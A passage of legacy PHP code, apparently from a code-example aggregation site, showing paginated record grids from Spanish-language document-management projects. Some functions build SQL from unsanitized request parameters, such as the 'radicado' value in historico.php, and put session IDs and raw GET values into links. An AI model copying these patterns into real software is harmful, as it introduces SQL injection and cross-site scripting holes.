    // Process page scroller
    //-------------------------------
    $iPage = get_param("FormPRESTADOS_Page");
    if (!strlen($iPage)) {
        $iPage = 1;
    } else {
        if ($iPage == "last") {
            $db_count = get_db_value($sCountSQL);
            $dResult = intval($db_count) / $iRecordsPerPage;
            $iPage = intval($dResult);
            if ($iPage < $dResult) {
                $iPage++;
            }
        } else {
            $iPage = intval($iPage);
        }
    }
    if (($iPage - 1) * $iRecordsPerPage != 0) {
        do {
            $iCounter++;
            $rs->MoveNext();
        } while ($iCounter < ($iPage - 1) * $iRecordsPerPage && !$rs->EOF);
    }
    $iCounter = 0;
    //-------------------------------
    //-------------------------------
    // Display grid based on recordset
    //-------------------------------
    while ($rs && !$rs->EOF && $iCounter < $iRecordsPerPage) {
        //-------------------------------
        // Create field variables based on database fields
        //-------------------------------
        $fldDEPE_CODI = $rs->fields["D_DEPE_NOMB"];
        $fldPRES_DESC = $rs->fields["P_PRES_DESC"];
        $fldPRES_ESTADO = $rs->fields["P_PRES_ESTADO"];
        $fldPRES_FECH_DEVO = $rs->fields["P_PRES_FECH_DEVO"];
        $fldPRES_FECH_PEDI = $rs->fields["P_PRES_FECH_PEDI"];
        $fldPRES_FECH_PRES = $rs->fields["P_PRES_FECH_PRES"];
        $fldPRES_ID = $rs->fields["P_PRES_ID"];
        $fldPRES_REQUERIMIENTO = $rs->fields["P_PRES_REQUERIMIENTO"];
        $fldRADI_NUME_RADI_URLLink = "detalle.php";
        $fldRADI_NUME_RADI_PRES_ID = $rs->fields["P_PRES_ID"];
        $fldRADI_NUME_RADI = $rs->fields["P_RADI_NUME_RADI"];
        $fldUSUA_LOGIN_ACTU = $rs->fields["P_USUA_LOGIN_ACTU"];
        $fldUSUA_LOGIN_PRES = $rs->fields["P_USUA_LOGIN_PRES"];
        $rs->MoveNext();
        //-------------------------------
        // PRESTADOS Show begin
        //-------------------------------
        //-------------------------------
        // PRESTADOS Show Event begin
        // PRESTADOS Show Event end
        //-------------------------------
        //-------------------------------
        // Process the HTML controls
        //-------------------------------
        ?>
      <tr>
       <td class="DataTD"><font class="DataFONT"><a href="<?php 
        echo $fldRADI_NUME_RADI_URLLink;
        ?>
?PRES_ID=<?php 
        echo $fldRADI_NUME_RADI_PRES_ID;
        ?>
&<?php 
        echo $transit_params;
        ?>
"><font class="DataFONT"><?php 
        echo $fldRADI_NUME_RADI;
        ?>
</font></a>&nbsp;</font></td>
       <td class="DataTD"><font class="DataFONT">
      <?php 
        echo tohtml($fldUSUA_LOGIN_ACTU);
        ?>
&nbsp;</font></td>
       <td class="DataTD"><font class="DataFONT">
      <?php 
        echo tohtml($fldDEPE_CODI);
        ?>
&nbsp;</font></td>
       <td class="DataTD"><font class="DataFONT">
      <?php 
        echo tohtml($fldPRES_FECH_PEDI);
        ?>
&nbsp;</font></td>
       <td class="DataTD"><font class="DataFONT">
      <?php 
        $fldPRES_REQUERIMIENTO = get_lov_value($fldPRES_REQUERIMIENTO, $aPRES_REQUERIMIENTO);
        ?>
      <?php 
        echo tohtml($fldPRES_REQUERIMIENTO);
        ?>
&nbsp;</font></td>
       <td class="DataTD"><font class="DataFONT">
      <?php 
        echo tohtml($fldPRES_FECH_PRES);
        ?>
&nbsp;</font></td>
       <td class="DataTD"><font class="DataFONT">
      <?php 
        echo tohtml($fldPRES_DESC);
        ?>
&nbsp;</font></td>
       <td class="DataTD"><font class="DataFONT">
      <?php 
        echo tohtml($fldPRES_FECH_DEVO);
        ?>
&nbsp;</font></td>
       <td class="DataTD"><font class="DataFONT">
      <?php 
        echo tohtml($fldUSUA_LOGIN_PRES);
        ?>
&nbsp;</font></td>
       <td class="DataTD"><font class="DataFONT">
      <?php 
        $fldPRES_ESTADO = get_lov_value($fldPRES_ESTADO, $aPRES_ESTADO);
        ?>
      <?php 
        echo tohtml($fldPRES_ESTADO);
        ?>
&nbsp;</font></td>
      </tr><?php 
        //-------------------------------
        // PRESTADOS Show end
        //-------------------------------
        //-------------------------------
        // Move to the next record and increase record counter
        //-------------------------------
        $iCounter++;
    }
    // print ("<br> $iCounter");
    //-------------------------------
    //  Grid. The insert link and record navigator.
    //-------------------------------
    ?>
    <tr>
     <td colspan="10" class="ColumnTD"><font class="ColumnFONT">
<?php 
    // PRESTADOS Navigation begin
    if ($rs && !$rs->EOF || $iPage != 1) {
        $iCounter = 1;
        $iHasPages = $iPage;
        $sPages = "";
        $iDisplayPages = 0;
        $iNumberOfPages = 10;
        while ($rs && !$rs->EOF && $iHasPages < $iPage + $iNumberOfPages) {
            if ($iCounter == $iRecordsPerPage) {
                $iCounter = 0;
                $iHasPages = $iHasPages + 1;
            }
            $iCounter++;
            $rs->MoveNext();
        }
        if ($rs->EOF && $iCounter > 1) {
            $iHasPages++;
        }
        if ($iHasPages - $iPage < intval($iNumberOfPages / 2)) {
            $iStartPage = $iHasPages - $iNumberOfPages;
        } else {
            $iStartPage = $iPage - $iNumberOfPages + intval($iNumberOfPages / 2);
        }
        if ($iStartPage < 0) {
            $iStartPage = 0;
        }
        for ($iPageCount = $iStartPage + 1; $iPageCount <= $iPage - 1; $iPageCount++) {
            $sPages .= "<a href=\"{$sFileName}?{$form_params}{$sSortParams}{$FormPRESTADOS_Page}={$iPageCount}#PRESTADOS\"><font " . "class=\"ColumnFONT\"" . ">" . $iPageCount . "</font></a>&nbsp;";
            $iDisplayPages++;
        }
        $sPages .= "<font " . "class=\"ColumnFONT\"" . ">" . $iPage . "</font>&nbsp;";
        $iDisplayPages++;
        $iPageCount = $iPage + 1;
        while ($iDisplayPages < $iNumberOfPages && $iStartPage + $iDisplayPages < $iHasPages) {
            $sPages .= "<a href=\"" . $sFileName . "?" . $form_params . $sSortParams . "FormPRESTADOS_Page=" . $iPageCount . "#PRESTADOS\"><font " . "class=\"ColumnFONT\"" . ">" . $iPageCount . "</font></a>&nbsp;";
            $iDisplayPages++;
            $iPageCount++;
        }
        if ($iPage == 1) {
            ?>
        <font class="ColumnFONT">Primero</font>
        <font class="ColumnFONT">Anterior</font>
<?php 
        } else {
            ?>
        <a href="<?php 
            echo $sFileName;
            ?>
?<?php 
            echo $form_params;
            echo $sSortParams;
            ?>
FormPRESTADOS_Page=1#PRESTADOS"><font class="ColumnFONT">Primero</font></a>
        <a href="<?php 
            echo $sFileName;
            ?>
?<?php 
            echo $form_params;
            echo $sSortParams;
            ?>
FormPRESTADOS_Page=<?php 
            echo $iPage - 1;
            ?>
#PRESTADOS"><font class="ColumnFONT">Anterior</font></a>
<?php 
        }
        echo "&nbsp;[&nbsp;" . $sPages . "]&nbsp;";
        if ($rs->EOF) {
            ?>
        <font class="ColumnFONT">Siguiente</font>
        <font class="ColumnFONT">Ultimo</font>
<?php 
        } else {
            ?>
        <a href="<?php 
            echo $sFileName;
            ?>
?<?php 
            echo $form_params;
            echo $sSortParams;
            ?>
FormPRESTADOS_Page=<?php 
            echo $iPage + 1;
            ?>
#PRESTADOS"><font class="ColumnFONT">Siguiente</font></a>
        <a href="<?php 
            echo $sFileName;
            ?>
?<?php 
            echo $form_params;
            echo $sSortParams;
            ?>
FormPRESTADOS_Page=last#PRESTADOS"><font class="ColumnFONT">Ultimo</font></a>
<?php 
        }
    }
    //-------------------------------
    // PRESTADOS Navigation end
    //-------------------------------
    //-------------------------------
    // Finish form processing
    //-------------------------------
    ?>
      </font></td></tr>
    </table>
  <?php 
    //-------------------------------
    // PRESTADOS Close Event begin
    // PRESTADOS Close Event end
    //-------------------------------
}

示例#9

文件： historico.php 项目： BackupTheBerlios/comeet-svn

function HIST_EVENTOS_show()
{
    //-------------------------------
    // Initialize variables
    //-------------------------------
    global $db;
    global $sHIST_EVENTOSErr;
    global $sFileName;
    global $styles;
    $sWhere = "";
    $sOrder = "";
    $sSQL = "";
    $sFormTitle = "Historico";
    $HasParam = false;
    $bReq = true;
    $iRecordsPerPage = 20;
    $iCounter = 0;
    $iPage = 0;
    $bEof = false;
    $iSort = "";
    $iSorted = "";
    $sDirection = "";
    $sSortParams = "";
    $transit_params = "";
    $form_params = "radicado=" . tourl(get_param("radicado")) . "&";
    //-------------------------------
    // Build ORDER BY statement
    //-------------------------------
    $sOrder = " order by H.HIST_FECH Asc";
    $iSort = get_param("FormHIST_EVENTOS_Sorting");
    $iSorted = get_param("FormHIST_EVENTOS_Sorted");
    if (!$iSort) {
        $form_sorting = "";
    } else {
        if ($iSort == $iSorted) {
            $form_sorting = "";
            $sDirection = " DESC";
            $sSortParams = "FormHIST_EVENTOS_Sorting=" . $iSort . "&FormHIST_EVENTOS_Sorted=" . $iSort . "&";
        } else {
            $form_sorting = $iSort;
            $sDirection = " ASC";
            $sSortParams = "FormHIST_EVENTOS_Sorting=" . $iSort . "&FormHIST_EVENTOS_Sorted=" . "&";
        }
        if ($iSort == 1) {
            $sOrder = " order by H.RADI_NUME_RADI" . $sDirection;
        }
        if ($iSort == 2) {
            $sOrder = " order by H.HIST_FECH" . $sDirection;
        }
        if ($iSort == 3) {
            $sOrder = " order by U.USUA_NOMB" . $sDirection;
        }
        if ($iSort == 4) {
            $sOrder = " order by D.DEPE_NOMB" . $sDirection;
        }
        if ($iSort == 5) {
            $sOrder = " order by H.HIST_OBSE" . $sDirection;
        }
    }
    //-------------------------------
    // HTML column headers
    //-------------------------------
    ?>

     <table class="FormTABLE">
      <tr>
       <td class="FormHeaderTD" colspan="5"><a name="HIST_EVENTOS"><font class="FormHeaderFONT"><?php 
    echo $sFormTitle;
    ?>
</font></a></td>
	 </tr>
<?php 
    $pradicado = get_param("radicado");
    $queryUsuActu = "select U.USUA_LOGIN AS U_USUA_LOGIN, U.USUA_NOMB AS U_USUA_NOMB from RADICADO R, USUARIO U, DEPENDENCIA D" . " WHERE U.USUA_CODI=R.RADI_USUA_ACTU and D.DEPE_CODI=R.RADI_DEPE_ACTU and U.DEPE_CODI=D.DEPE_CODI and R.RADI_NUME_RADI= {$pradicado}";
    $db->query($queryUsuActu);
    $next_record = $db->next_record();
    if ($next_record) {
        $fldUSUA_LOGIN = $db->f("U_USUA_LOGIN");
        $fldUSUA_NOMB = $db->f("U_USUA_NOMB");
        ?>
	  
	 <tr>
	   <td class="ColumnTD" colspan="5">
	   <font class="ColumnFONT">El usuario Actual es <?php 
        echo $fldUSUA_LOGIN;
        ?>
 / <?php 
        echo $fldUSUA_NOMB;
        ?>
	   </font></td>
      </tr>
<?php 
    }
    ?>
	  <tr>
       <td class="ColumnTD"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormHIST_EVENTOS_Sorting=1&FormHIST_EVENTOS_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">Radicado</font></a></td>
       <td class="ColumnTD"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormHIST_EVENTOS_Sorting=2&FormHIST_EVENTOS_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">Fecha</font></a></td>
       <td class="ColumnTD"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormHIST_EVENTOS_Sorting=3&FormHIST_EVENTOS_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">Codigo Usuario</font></a></td>
       <td class="ColumnTD"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormHIST_EVENTOS_Sorting=4&FormHIST_EVENTOS_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">Dependencia</font></a></td>
       <td class="ColumnTD"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormHIST_EVENTOS_Sorting=5&FormHIST_EVENTOS_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">Observaciones</font></a></td>
      </tr>
<?php 
    //-------------------------------
    // Build WHERE statement
    //-------------------------------
    $pradicado = get_param("radicado");
    if (strlen($pradicado)) {
        $HasParam = true;
        $sWhere = $sWhere . "H.RADI_NUME_RADI=" . tosql($pradicado, "Text") . "";
    } else {
        $bReq = false;
    }
    if ($HasParam) {
        $sWhere = " AND (" . $sWhere . ")";
    }
    //-------------------------------
    // Build base SQL statement
    //-------------------------------
    $sSQL = "select H.DEPE_CODI as H_DEPE_CODI, " . "to_char(H.HIST_FECH,'dd/mm/yyyy hh24:mi:ss') as H_HIST_FECH, " . "H.HIST_OBSE as H_HIST_OBSE, " . "H.RADI_NUME_RADI as H_RADI_NUME_RADI, " . "H.USUA_CODI as H_USUA_CODI, " . "U.USUA_CODI as U_USUA_CODI, " . "U.USUA_NOMB as U_USUA_NOMB, " . "U.DEPE_CODI as U_DEPE_CODI, " . "D.DEPE_CODI as D_DEPE_CODI, " . "D.DEPE_NOMB as D_DEPE_NOMB " . " from HIST_EVENTOS H, USUARIO U, DEPENDENCIA D" . " where U.USUA_CODI=H.USUA_CODI and D.DEPE_CODI=H.DEPE_CODI and U.DEPE_CODI=D.DEPE_CODI  ";
    //-------------------------------
    //-------------------------------
    // HIST_EVENTOS Open Event begin
    // HIST_EVENTOS Open Event end
    //-------------------------------
    //-------------------------------
    // Assemble full SQL statement
    //-------------------------------
    $sSQL .= $sWhere . $sOrder;
    //-------------------------------
    //-------------------------------
    // Process if form has all required parameters
    //-------------------------------
    if (!$bReq) {
        ?>
     <tr>
      <td colspan="5" class="DataTD"><font class="DataFONT">No hay Registros</font></td>
     </tr>
    </table>
<?php 
        return;
    }
    //-------------------------------
    //-------------------------------
    // Execute SQL statement
    //-------------------------------
    $db->query($sSQL);
    $next_record = $db->next_record();
    //-------------------------------
    // Process empty recordset
    //-------------------------------
    if (!$next_record) {
        ?>
     <tr>
      <td colspan="5" class="DataTD"><font class="DataFONT">No hay Registros</font></td>
     </tr>
<?php 
        //-------------------------------
        //  The insert link.
        //-------------------------------
        ?>
    <tr>
     <td colspan="5" class="ColumnTD"><font class="ColumnFONT">
<?php 
        ?>
  </table>
<?php 
        return;
    }
    //-------------------------------
    //-------------------------------
    // Initialize page counter and records per page
    //-------------------------------
    $iRecordsPerPage = 20;
    $iCounter = 0;
    //-------------------------------
    //-------------------------------
    // Process page scroller
    //-------------------------------
    $iPage = get_param("FormHIST_EVENTOS_Page");
    if (!strlen($iPage)) {
        $iPage = 1;
    } else {
        $iPage = intval($iPage);
    }
    if (($iPage - 1) * $iRecordsPerPage != 0) {
        do {
            $iCounter++;
        } while ($iCounter < ($iPage - 1) * $iRecordsPerPage && $db->next_record());
        $next_record = $db->next_record();
    }
    $iCounter = 0;
    //-------------------------------
    //-------------------------------
    // Display grid based on recordset
    //-------------------------------
    while ($next_record && $iCounter < $iRecordsPerPage) {
        //-------------------------------
        // Create field variables based on database fields
        //-------------------------------
        $fldDEPE_CODI = $db->f("D_DEPE_NOMB");
        $fldHIST_FECH = $db->f("H_HIST_FECH");
        $fldHIST_OBSE = $db->f("H_HIST_OBSE");
        $fldRADI_NUME_RADI = $db->f("H_RADI_NUME_RADI");
        $fldUSUA_CODI = $db->f("U_USUA_NOMB");
        $next_record = $db->next_record();
        //-------------------------------
        // HIST_EVENTOS Show begin
        //-------------------------------
        //-------------------------------
        // HIST_EVENTOS Show Event begin
        // HIST_EVENTOS Show Event end
        //-------------------------------
        //-------------------------------
        // Process the HTML controls
        //-------------------------------
        ?>
      <tr>
       <td class="DataTD"><font class="DataFONT">
      <?php 
        echo tohtml($fldRADI_NUME_RADI);
        ?>
&nbsp;</font></td>
       <td class="DataTD"><font class="DataFONT">
      <?php 
        echo $fldHIST_FECH;
        ?>
&nbsp;</font></td>
       <td class="DataTD"><font class="DataFONT">
      <?php 
        echo tohtml($fldUSUA_CODI);
        ?>
&nbsp;</font></td>
       <td class="DataTD"><font class="DataFONT">
      <?php 
        echo tohtml($fldDEPE_CODI);
        ?>
&nbsp;</font></td>
       <td class="DataTD"><font class="DataFONT">
      <?php 
        echo tohtml($fldHIST_OBSE);
        ?>
&nbsp;</font></td>
      </tr><?php 
        //-------------------------------
        // HIST_EVENTOS Show end
        //-------------------------------
        //-------------------------------
        // Move to the next record and increase record counter
        //-------------------------------
        $iCounter++;
    }
    //-------------------------------
    //  Grid. The insert link and record navigator.
    //-------------------------------
    ?>
    <tr>
     <td colspan="5" class="ColumnTD"><font class="ColumnFONT">
<?php 
    // HIST_EVENTOS Navigation begin
    $bEof = $next_record;
    if ($bEof || $iPage != 1) {
        if ($iPage == 1) {
            ?>
        <font class="ColumnFONT">Anterior</font>
<?php 
        } else {
            ?>
        <a href="<?php 
            echo $sFileName;
            ?>
?<?php 
            echo $form_params;
            echo $sSortParams;
            ?>
FormHIST_EVENTOS_Page=<?php 
            echo $iPage - 1;
            ?>
#HIST_EVENTOS"><font class="ColumnFONT">Anterior</font></a>
<?php 
        }
        echo "&nbsp;[&nbsp;" . $iPage . "&nbsp;]&nbsp;";
        if (!$bEof) {
            ?>
        <font class="ColumnFONT">Siguiente</font>
<?php 
        } else {
            ?>
        <a href="<?php 
            echo $sFileName;
            ?>
?<?php 
            echo $form_params;
            echo $sSortParams;
            ?>
FormHIST_EVENTOS_Page=<?php 
            echo $iPage + 1;
            ?>
#HIST_EVENTOS"><font class="ColumnFONT">Siguiente</font></a>
<?php 
        }
    }
    //-------------------------------
    // HIST_EVENTOS Navigation end
    //-------------------------------
    //-------------------------------
    // Finish form processing
    //-------------------------------
    ?>
      </font></td></tr>
    </table>
  <?php 
    //-------------------------------
    // HIST_EVENTOS Close Event begin
    // HIST_EVENTOS Close Event end
    //-------------------------------
}

示例#10

文件： funciones_busqueda.php 项目： johnfelipe/orfeo

function Ciudadano_show($nivelus, $tpRemDes, $whereFlds)
{
    global $db2;
    global $db3;
    global $sRADICADOErr;
    global $sFileName;
    global $styles;
    global $ruta_raiz;
    $sWhere = "";
    $sOrder = "";
    $sSQL = "";
    $db = new ConnectionHandler($ruta_raiz);
    if ($tpRemDes == 1) {
        $tpRemDesNombre = "Por Ciudadano";
    }
    if ($tpRemDes == 2) {
        $tpRemDesNombre = "Por Otras Empresas";
    }
    if ($tpRemDes == 3) {
        $tpRemDesNombre = "Por Entidad";
    }
    if ($tpRemDes == 4) {
        $tpRemDesNombre = "Por Funcionario";
    }
    if ($tpRemDes == 9) {
        $tpRemDesNombre = "";
        $whereTrd = "   ";
    } else {
        $whereTrd = " and dir.sgd_trd_codigo = {$whereFlds}  ";
    }
    if ($indiVinculo == 2) {
        $sFormTitle = "Expedientes encontrados {$tpRemDesNombre}";
    } else {
        $sFormTitle = "Radicados encontrados {$tpRemDesNombre}";
    }
    $HasParam = false;
    $iCounter = 0;
    $iPage = 0;
    $bEof = false;
    $iSort = '';
    $iSorted = '';
    $iTmpI = 0;
    $iTmpJ = 0;
    $sCountSQL = '';
    $sDirection = '';
    $sSortParams = '';
    $transit_params = '';
    $iRecordsPerPage = 25;
    //Proceso de Vinculacion documentos
    $indiVinculo = $_GET["indiVinculo"];
    $verrad = $_GET["verrad"];
    $carpeAnt = $_GET["carpeAnt"];
    $nomcarpeta = $_GET["nomcarpeta"];
    // Build ORDER BY statement
    //$sOrder = " order by r.RADI_NUME_RADI ";
    $sOrder = " order by r.radi_fech_radi ";
    $iSort = $_GET["FormCIUDADANO_Sorting"];
    $iSorted = $_GET["FormCIUDADANO_Sorted"];
    $form_params = trim(session_name()) . '=' . trim(session_id()) . "&verrad={$verrad}&indiVinculo={$indiVinculo}&carpeAnt={$carpeAnt}&nomcarpeta={$nomcarpeta}&s_RADI_DEPE_ACTU=" . tourl($_GET["s_RADI_DEPE_ACTU"]) . "&s_RADI_NOMB=" . tourl($_GET["s_RADI_NOMB"]) . "&s_RADI_NUME_RADI=" . tourl($_GET["s_RADI_NUME_RADI"]) . "&s_TDOC_CODI=" . tourl($_GET["s_TDOC_CODI"]) . "&s_desde_dia=" . tourl($_GET["s_desde_dia"]) . "&s_desde_mes=" . tourl($_GET["s_desde_mes"]) . "&s_desde_ano=" . tourl($_GET["s_desde_ano"]) . "&s_hasta_dia=" . tourl($_GET["s_hasta_dia"]) . "&s_hasta_mes=" . tourl($_GET["s_hasta_mes"]) . "&s_hasta_ano=" . tourl($_GET["s_hasta_ano"]) . "&s_solo_nomb=" . tourl($_GET["s_solo_nomb"]) . "&s_ciudadano=" . tourl($_GET["s_ciudadano"]) . "&s_empresaESP=" . tourl($_GET["s_empresaESP"]) . "&s_oEmpresa=" . tourl($_GET["s_oEmpresa"]) . "&s_FUNCIONARIO=" . tourl($_GET["s_FUNCIONARIO"]) . "&s_entrada=" . tourl($_GET["s_entrada"]) . "&s_salida=" . tourl($_GET["s_salida"]) . "&s_DOCTO=" . tourl($_GET["s_DOCTO"]) . "&nivelus={$nivelus}&s_Listado=" . $_GET["s_Listado"] . "&s_SGD_EXP_SUBEXPEDIENTE=" . $_GET["s_SGD_EXP_SUBEXPEDIENTE"] . "&";
    // s_Listado s_ciudadano s_empresaESP s_FUNCIONARIO
    if (!$iSort) {
        $form_sorting = "";
    } else {
        if ($iSort == $iSorted) {
            $form_sorting = "";
            $sDirection = " DESC ";
            $sSortParams = "FormCIUDADANO_Sorting=" . $iSort . "&FormCIUDADANO_Sorted=" . $iSort . "&";
        } else {
            $form_sorting = $iSort;
            $sDirection = "  ";
            $sSortParams = "FormCIUDADANO_Sorting=" . $iSort . "&FormCIUDADANO_Sorted=" . "&";
        }
        switch ($iSort) {
            case 1:
                $sOrder = " order by r.radi_nume_radi" . $sDirection;
                break;
            case 2:
                $sOrder = " order by r.radi_fech_radi" . $sDirection;
                break;
            case 3:
                $sOrder = " order by r.ra_asun" . $sDirection;
                break;
            case 4:
                $sOrder = " order by td.sgd_tpr_descrip" . $sDirection;
                break;
            case 5:
                $sOrder = " order by r.radi_nume_hoja" . $sDirection;
                break;
            case 6:
                $sOrder = " order by dir.sgd_dir_direccion" . $sDirection;
                break;
            case 7:
                $sOrder = " order by dir.sgd_dir_telefono" . $sDirection;
                break;
            case 8:
                $sOrder = " order by dir.sgd_dir_mail" . $sDirection;
                break;
            case 9:
                $sOrder = " order by dir.sgd_dir_nombre" . $sDirection;
                break;
            case 12:
                $sOrder = " order by dir.sgd_dir_telefono" . $sDirection;
                break;
            case 13:
                $sOrder = " order by dir.sgd_dir_direccion" . $sDirection;
                break;
            case 14:
                $sOrder = " order by dir.sgd_dir_doc" . $sDirection;
                break;
            case 17:
                $sOrder = " order by r.radi_usu_ante" . $sDirection;
                break;
            case 20:
                $sOrder = " order by r.radi_pais" . $sDirection;
                break;
            case 21:
                $sOrder = " order by diasr" . $sDirection;
                break;
            case 22:
                $sOrder = " order by dir.sgd_dir_nombre" . $sDirection;
                break;
            case 23:
                $sOrder = " order by dir.sgd_dir_nombre" . $sDirection;
                break;
            case 24:
                $sOrder = " order by dir.sgd_dir_nombre" . $sDirection;
                break;
        }
    }
    // Encabezados HTML de las Columnas
    if ($indiVinculo != 2) {
        ?>
	<table width="2000" border="0" cellpadding="0" cellspacing="0" class="borde_tab"> 
<?php 
    } else {
        ?>
	<table width="200" border="0" cellpadding="0" cellspacing="0" class="borde_tab">
<?php 
    }
    ?>
	<tr>
		<td class="titulos4" colspan="20">
      <a name="RADICADO"><?php 
    echo $sFormTitle;
    ?>
</a>
    </td>
	</tr>
	<tr>
<?php 
    if ($indiVinculo >= 1) {
        ?>
		<td class="titulos5"><font class="ColumnFONT"> </td>
<?php 
    }
    if ($indiVinculo != 2) {
        ?>
		<td class="titulos5"><a class="vinculos" href="<?php 
        echo $sFileName;
        ?>
?<?php 
        echo $form_params;
        ?>
FormCIUDADANO_Sorting=1&FormCIUDADANO_Sorted=<?php 
        echo $form_sorting;
        ?>
&">Radicado</a></td>
		<td class="titulos5"><a class="vinculos" href="<?php 
        echo $sFileName;
        ?>
?<?php 
        echo $form_params;
        ?>
FormCIUDADANO_Sorting=2&FormCIUDADANO_Sorted=<?php 
        echo $form_sorting;
        ?>
&">Fecha Radicacion</a></td>
        <td class="titulos5"><font class="ColumnFONT">Expediente</td>
        <?php 
    } else {
        ?>
	    <td class="titulos5"><font class="ColumnFONT">Expediente</td>
        <td class="titulos5"><a class="vinculos" href="<?php 
        echo $sFileName;
        ?>
?<?php 
        echo $form_params;
        ?>
FormCIUDADANO_Sorting=1&FormCIUDADANO_Sorted=<?php 
        echo $form_sorting;
        ?>
&">Radicado vinculado al expediente</a></td>
		<td class="titulos5"><a class="vinculos" href="<?php 
        echo $sFileName;
        ?>
?<?php 
        echo $form_params;
        ?>
FormCIUDADANO_Sorting=2&FormCIUDADANO_Sorted=<?php 
        echo $form_sorting;
        ?>
&">Fecha Radicacion</a></td>
          <?php 
    }
    ?>
		<td class="titulos5">
      <a class="vinculos" href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormCIUDADANO_Sorting=3&FormCIUDADANO_Sorted=<?php 
    echo $form_sorting;
    ?>
&">Asunto</a>
    </td>
		<td class="titulos5">
      <a class="vinculos" href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormCIUDADANO_Sorting=4&FormCIUDADANO_Sorted=<?php 
    echo $form_sorting;
    ?>
&">Tipo de Documento</a>
    </td>
		<td class="titulos5">
      <font class="ColumnFONT">Tipo</td>
		<td class="titulos5">
      <a class="vinculos" href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormCIUDADANO_Sorting=5&FormCIUDADANO_Sorted=<?php 
    echo $form_sorting;
    ?>
&">Numero de Hojas</a>
    </td>
		<td class="titulos5">
      <a class="vinculos" href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormCIUDADANO_Sorting=6&FormCIUDADANO_Sorted=<?php 
    echo $form_sorting;
    ?>
&">Direccion contacto</a>
    </td>
		<td class="titulos5">
      <a class="vinculos" href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormCIUDADANO_Sorting=7&FormCIUDADANO_Sorted=<?php 
    echo $form_sorting;
    ?>
&">Telefono contacto</a>
    </td>
		<td class="titulos5">
      <a class="vinculos" href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormCIUDADANO_Sorting=8&FormCIUDADANO_Sorted=<?php 
    echo $form_sorting;
    ?>
&">Mail Contacto</a></td>
		<td class="titulos5"><a class="vinculos" href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormCIUDADANO_Sorting=23&FormCIUDADANO_Sorted=<?php 
    echo $form_sorting;
    ?>
&">Dignatario</a></td>
		<td class="titulos5"><a class="vinculos" href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormCIUDADANO_Sorting=9&FormCIUDADANO_Sorted=<?php 
    echo $form_sorting;
    ?>
&">Nombre </a></td>
		<td class="titulos5"><a class="vinculos" href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormCIUDADANO_Sorting=14&FormCIUDADANO_Sorted=<?php 
    echo $form_sorting;
    ?>
&">Documento</a></td>
		<td class="titulos5"><a class="vinculos" href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormCIUDADANO_Sorting=15&FormCIUDADANO_Sorted=<?php 
    echo $form_sorting;
    ?>
&">Usuario Actual</a></td>
		<td class="titulos5"><font class="ColumnFONT">Dependencia Actual</td>
		<td class="titulos5"><font class="ColumnFONT">Usuario Anterior</td>
		<td class="titulos5"><a class="vinculos" href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormCIUDADANO_Sorting=20&FormCIUDADANO_Sorted=<?php 
    echo $form_sorting;
    ?>
&">Pais</a></td>
		<td class="titulos5"><a class="vinculos" href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormCIUDADANO_Sorting=21&FormCIUDADANO_Sorted=<?php 
    echo $form_sorting;
    ?>
&">Dias Restantes</a></td>
	</tr>
<?php 
    // Build WHERE statement
    // Se crea la $ps_desde_RADI_FECH_RADI con los datos ingresados.
    $ps_desde_RADI_FECH_RADI = mktime(0, 0, 0, $_GET["s_desde_mes"], $_GET["s_desde_dia"], $_GET["s_desde_ano"]);
    $ps_hasta_RADI_FECH_RADI = mktime(23, 59, 59, $_GET["s_hasta_mes"], $_GET["s_hasta_dia"], $_GET["s_hasta_ano"]);
    if (strlen($ps_desde_RADI_FECH_RADI) && strlen($ps_hasta_RADI_FECH_RADI) && strlen(trim($_GET["s_RADI_NUME_RADI"])) != 14) {
        $HasParam = true;
        $sWhere = $sWhere . $db->conn->SQLDate('Y-m-d', 'r.radi_fech_radi') . " >= " . $db->conn->DBDate($ps_desde_RADI_FECH_RADI);
        //$sWhere = $sWhere . "r.radi_fech_radi>=".$db->conn->DBTimeStamp($ps_desde_RADI_FECH_RADI) ; //by HLP.
        $sWhere .= " and ";
        $sWhere = $sWhere . $db->conn->SQLDate('Y-m-d', 'r.radi_fech_radi') . " <= " . $db->conn->DBDate($ps_hasta_RADI_FECH_RADI);
        //$sWhere = $sWhere . "r.radi_fech_radi<=".$db->conn->DBTimeStamp($ps_hasta_RADI_FECH_RADI); //by HLP.
    }
    //echo $sWhere;
    /* Se recibe la dependencia actual para bsqueda */
    $ps_RADI_DEPE_ACTU = $_GET["s_RADI_DEPE_ACTU"];
    if (is_number($ps_RADI_DEPE_ACTU) && strlen($ps_RADI_DEPE_ACTU)) {
        $ps_RADI_DEPE_ACTU = tosql($ps_RADI_DEPE_ACTU, "Number");
    } else {
        $ps_RADI_DEPE_ACTU = "";
    }
    if (strlen($ps_RADI_DEPE_ACTU)) {
        if ($sWhere != "") {
            $sWhere .= " and ";
        }
        $HasParam = true;
